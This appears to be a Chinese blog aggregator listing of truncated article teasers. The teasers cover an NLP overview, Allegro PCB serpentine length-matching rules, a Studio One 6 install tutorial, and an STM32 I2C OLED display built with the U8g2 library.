大家好&#xff0c;我是全栈小5&#xff0c;欢迎阅读小5的系列文章&#xff0c;这是《话题》系列文章 目录 引言技术原理应用领域实际案例优势挑战局限性未来展望文章推荐 引言 在人工智能领域&#xff0c;自然语言处理&#xff08;NLP&#xff09;技术的进步一直是推动技术革…

Allegro蛇形等长

Allegro蛇形等长 一、蛇形等长规则创建方法 一般有点对点&#xff0c;串组两种形式 点对点一般直接在规则中建立等长组 串组可以用模型等长和pin to pin等长 下面提供pin to pin的方法&#xff0c;个人感觉最好用 二、创建规则 打开规则管理器&#xff0c;展开Electrical–…

Studio One安装教程+软件安装包下载

Studio One6全新版本上线 记录、生产、混合、掌握和执行所有操作。从工作室到舞台&#xff0c;Studio One6以易用为核心&#xff0c;是您的创意合作伙伴。 当你准备好登上舞台时&#xff0c;Studio One就在那里。只有Studio One从最初的灵感到完整的制作&#xff0c;最终混音…

【STM32】基于I2C协议的OLED显示(利用U82G库)

【STM32】基于I2C协议的OLED显示(利用U82G库) 文章目录 【STM32】基于I2C协议的OLED显示(利用U82G库)一、实验背景二、U8g2介绍&#xff08;一&#xff09;获取&#xff08;二&#xff09;简介 三、实践&#xff08;一&#xff09;CubexMX配置&#xff08;二&#xff09;U8g2配…